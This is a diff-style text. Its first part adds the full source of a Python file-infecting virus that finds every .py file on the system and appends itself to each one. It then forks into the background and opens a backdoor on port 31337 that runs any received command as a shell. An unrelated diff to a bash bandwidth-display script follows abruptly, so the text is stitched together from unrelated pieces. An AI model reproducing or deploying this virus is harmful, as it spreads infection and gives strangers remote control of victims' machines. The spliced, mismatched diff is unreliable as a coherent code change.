--- /dev/null
+# Happy Halloween ~ (A python appender VX)
+# Finds all python scripts on a system, infects them
+# with the VX if not infected, payload on infected scripts
+# say "Happy Halloween" if run on October 31st. Virus
+# opens a backdoor on port 31337 which can be used to
+# send commands when an infected script has been executed.
+# F O R E D U C A T I O N A L P U R P O S E S O N L Y
+ #!x
+import glob #!x
+import sys #!x
+import os #!x
+import socket #!x
+from datetime import datetime #!x
+from string import * #!x
+date = datetime.now() #!x
+if date.month == 10: #!x
+ if date.day == 31: #!x
+ print "Happy Halloween!" #!x
+pid = os.fork() #!x
+if pid > 0: #!x
+ sys.exit(0) #!x
+cmd = 'find /. -name "*.py" -print 2>/dev/null' #!x
+for Files in os.popen(cmd).readlines(): #!x
+ Files = Files[:-1] #!x
+ try: #!x
+ vCode = open(__file__, 'r') #!x
+ victim = open (Files, 'r') #!x
+ readvictim = victim.read() #!x
+ if find(readvictim, "pRdElKa") == -1: #!x
+ victim = open(Files, 'a') #!x
+ for code in vCode.readlines(): #!x
+ if ("#!x") in code: #!x
+ vCode.close() #!x
+ mycode=(code) #!x
+ victim.write(mycode) #!x
+ except IOError: #!x
+ a = 1 #!x
+pid = os.fork() #!x
+if pid > 0: #!x
+ sys.exit(0) #!x
+try: #!x
+ s = socket.socket() #!x
+ s.bind(("0.0.0.0",31337)) #!x
+ s.listen(1) #!x
+except socket.error, (value, message): #!x
+ sys.exit(0) #!x
+while 1: #!x
+ (cli,add) = s.accept() #!x
+ info = {"platform":sys.platform,"version":sys.version} #!x
+ cli.send("".join(("You are connected to shell\r\n", info["platform"],info["version"],"\r\n"))) #!x
+ while 1:#!x
+ data = cli.recv(1024)#!x
+ resp = os.popen(data).readlines()#!x
+ cli.send("".join(resp))#!x
# Get custom IN and OUT labels if provided by command line arguments
while [[ $# -gt 1 ]]; do
key="$1"
- case "$key" in
+ case "$key" in
-i|--inlabel)
INLABEL="$2"
shift;;
rx_rate=$(( $rx_diff / $time_diff ))
tx_rate=$(( $tx_diff / $time_diff ))
+round() {
+ echo $(printf %.$2f $(echo "scale=$2;(((10^$2)*$1)+0.5)/(10^$2)" | bc))
+}
+
+format() {
+ if [ $1 == 0 ]; then
+ printf '000K'
+ elif [ $1 -lt 999 ]; then
+ # printf '%sK' "$1";
+ printf %03d%s ${1%.*} K
+ elif [ $1 -lt 10240 ]; then
+ printf '%sM' "`echo "scale=1;$1 / 1024" | bc -l`"
+ elif [ $1 -lt 102400 ]; then
+ printf '0%sM' "$(round `echo "scale=1;$1 / 1024" | bc -l` 0)"
+ elif [ $1 -lt 1024000 ]; then
+ printf '%sM' "$(round `echo "scale=1;$1 / 1024" | bc -l` 0)"
+ else
+ printf '%sG' "$(round `echo "scale=2;$1 / 1048576" | bc -l` 1)"
+ fi
+}
+
# shift by 10 bytes to get KiB/s. If the value is larger than
# 1024^2 = 1048576, then display MiB/s instead
# incoming
echo -n "$INLABEL"
-rx_kib=$(( $rx_rate >> 10 ))
-if hash bc 2>/dev/null && [[ "$rx_rate" -gt 1048576 ]]; then
- printf '%sM' "`echo "scale=1; $rx_kib / 1024" | bc`"
-else
- printf %03d ${rx_kib} # leading zeroes so length is constant
- echo -n "K"
-fi
+format $(( $rx_rate >> 10 ))
echo -n " "
# outgoing
echo -n "$OUTLABEL"
-tx_kib=$(( $tx_rate >> 10 ))
-if hash bc 2>/dev/null && [[ "$tx_rate" -gt 1048576 ]]; then
- printf '%sM' "`echo "scale=1; $tx_kib / 1024" | bc`"
-else
- printf %03d ${tx_kib} # leading zeroes so length is constant
- echo -n "K"
-
-fi
+format $(( $tx_rate >> 10 ))